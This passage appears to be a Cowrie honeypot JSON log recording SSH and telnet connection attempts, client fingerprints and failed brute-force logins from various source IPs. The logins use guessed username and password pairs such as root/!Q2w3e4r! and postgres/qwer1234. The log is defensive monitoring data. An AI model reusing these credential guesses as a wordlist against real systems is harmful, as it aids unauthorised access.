openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:57.094043Z","src_ip":"91.92.40.4","session":"f065fce69dfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"qwer1234","message":"login attempt [postgres/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:57.343486Z","src_ip":"91.92.40.4","session":"f065fce69dfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":23271,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d01b196e297","protocol":"ssh","message":"New connection: 223.197.186.7:23271 (10.17.0.5:22) [session: 2d01b196e297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:58.051451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:58.056612Z","src_ip":"223.197.186.7","session":"2d01b196e297","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:58.282185Z","src_ip":"223.197.186.7","session":"2d01b196e297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:58.427664Z","src_ip":"91.92.40.4","session":"f065fce69dfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r!","message":"login attempt [root/!Q2w3e4r!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:59.209748Z","src_ip":"223.197.186.7","session":"2d01b196e297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:00:00.425849Z","src_ip":"223.197.186.7","session":"2d01b196e297","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.160.226.51","src_port":50972,"dst_ip":"159.203.135.109","dst_port":22,"session":"de761e2bd510","protocol":"ssh","message":"New connection: 217.160.226.51:50972 (159.203.135.109:22) [session: de761e2bd510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:00:13.159813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:00:13.167013Z","src_ip":"217.160.226.51","session":"de761e2bd510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:00:13.274265Z","src_ip":"217.160.226.51","session":"de761e2bd510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nico","message":"login attempt [root/nico] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:00:13.753232Z","src_ip":"217.160.226.51","session":"de761e2bd510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:00:14.863035Z","src_ip":"217.160.226.51","session":"de761e2bd510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.823408126831055,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:00:18.586276Z","src_ip":"170.64.224.25","session":"640edfa4052e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.67","src_port":9580,"dst_ip":"159.203.135.109","dst_port":22,"session":"109f8f29a0b6","protocol":"ssh","message":"New connection: 66.132.195.67:9580 (159.203.135.109:22) [session: 109f8f29a0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:00:31.901716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:00:31.907753Z","src_ip":"66.132.195.67","session":"109f8f29a0b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:00:31.935895Z","src_ip":"66.132.195.67","session":"109f8f29a0b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.751962661743164,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:00:38.308958Z","src_ip":"170.64.224.25","session":"34221a051c5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":57240,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c9e6d6cada9","protocol":"ssh","message":"New connection: 162.144.64.128:57240 (10.17.0.5:22) [session: 6c9e6d6cada9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:00:44.104611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:00:44.109013Z","src_ip":"162.144.64.128","session":"6c9e6d6cada9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:00:44.190863Z","src_ip":"162.144.64.128","session":"6c9e6d6cada9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"michi","password":"michi123","message":"login attempt [michi/michi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:00:44.443487Z","src_ip":"162.144.64.128","session":"6c9e6d6cada9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:00:46.917696Z","src_ip":"66.132.195.67","session":"109f8f29a0b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:00:47.531180Z","src_ip":"162.144.64.128","session":"6c9e6d6cada9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50608,"dst_ip":"159.203.135.109","dst_port":23,"session":"6709bb1cd282","protocol":"telnet","message":"New connection: 170.64.224.25:50608 (159.203.135.109:23) [session: 6709bb1cd282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:00:57.855310Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":47354,"dst_ip":"159.203.135.109","dst_port":22,"session":"db3b68edff91","protocol":"ssh","message":"New connection: 154.16.115.34:47354 (159.203.135.109:22) [session: db3b68edff91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:02.643493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:02.647558Z","src_ip":"154.16.115.34","session":"db3b68edff91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:02.677249Z","src_ip":"154.16.115.34","session":"db3b68edff91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"DASH!M@st3r#P@ss","message":"login attempt [root/DASH!M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:02.833247Z","src_ip":"154.16.115.34","session":"db3b68edff91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:03.862336Z","src_ip":"154.16.115.34","session":"db3b68edff91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":48880,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bacfff38284","protocol":"ssh","message":"New connection: 23.88.42.180:48880 (10.17.0.5:22) [session: 7bacfff38284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:09.245476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:09.249940Z","src_ip":"23.88.42.180","session":"7bacfff38284","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:09.349157Z","src_ip":"23.88.42.180","session":"7bacfff38284","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helium123","message":"login attempt [root/helium123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:09.640286Z","src_ip":"23.88.42.180","session":"7bacfff38284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:10.739509Z","src_ip":"23.88.42.180","session":"7bacfff38284","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39230,"dst_ip":"159.203.135.109","dst_port":23,"session":"969719fa1d8d","protocol":"telnet","message":"New connection: 170.64.224.25:39230 (159.203.135.109:23) [session: 969719fa1d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:13.215104Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39244,"dst_ip":"159.203.135.109","dst_port":23,"session":"9129eb8f0370","protocol":"telnet","message":"New connection: 170.64.224.25:39244 (159.203.135.109:23) [session: 9129eb8f0370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:14.339163Z"}
{"eventid":"cowrie.session.closed","duration":80.10700726509094,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:16.695472Z","src_ip":"167.172.116.158","session":"befe14761b4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":44614,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c695d5d6bdb","protocol":"ssh","message":"New connection: 85.215.121.209:44614 (10.17.0.5:22) [session: 4c695d5d6bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:20.649400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:20.653765Z","src_ip":"85.215.121.209","session":"4c695d5d6bdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:20.748951Z","src_ip":"85.215.121.209","session":"4c695d5d6bdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xlmwallet","password":"stellar123","message":"login attempt [xlmwallet/stellar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:21.025444Z","src_ip":"85.215.121.209","session":"4c695d5d6bdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:22.123384Z","src_ip":"85.215.121.209","session":"4c695d5d6bdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":33588,"dst_ip":"159.203.135.109","dst_port":23,"session":"7feb248222a3","protocol":"telnet","message":"New connection: 137.184.5.188:33588 (159.203.135.109:23) [session: 7feb248222a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:31.818199Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49808,"dst_ip":"159.203.135.109","dst_port":23,"session":"eba95e2bbe22","protocol":"telnet","message":"New connection: 170.64.224.25:49808 (159.203.135.109:23) [session: eba95e2bbe22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:01:40.885442Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":36928,"dst_ip":"10.17.0.5","dst_port":22,"session":"08fec754066e","protocol":"ssh","message":"New connection: 91.92.40.4:36928 (10.17.0.5:22) [session: 08fec754066e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:06.329091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:06.333273Z","src_ip":"91.92.40.4","session":"08fec754066e","protocol":"ssh"}
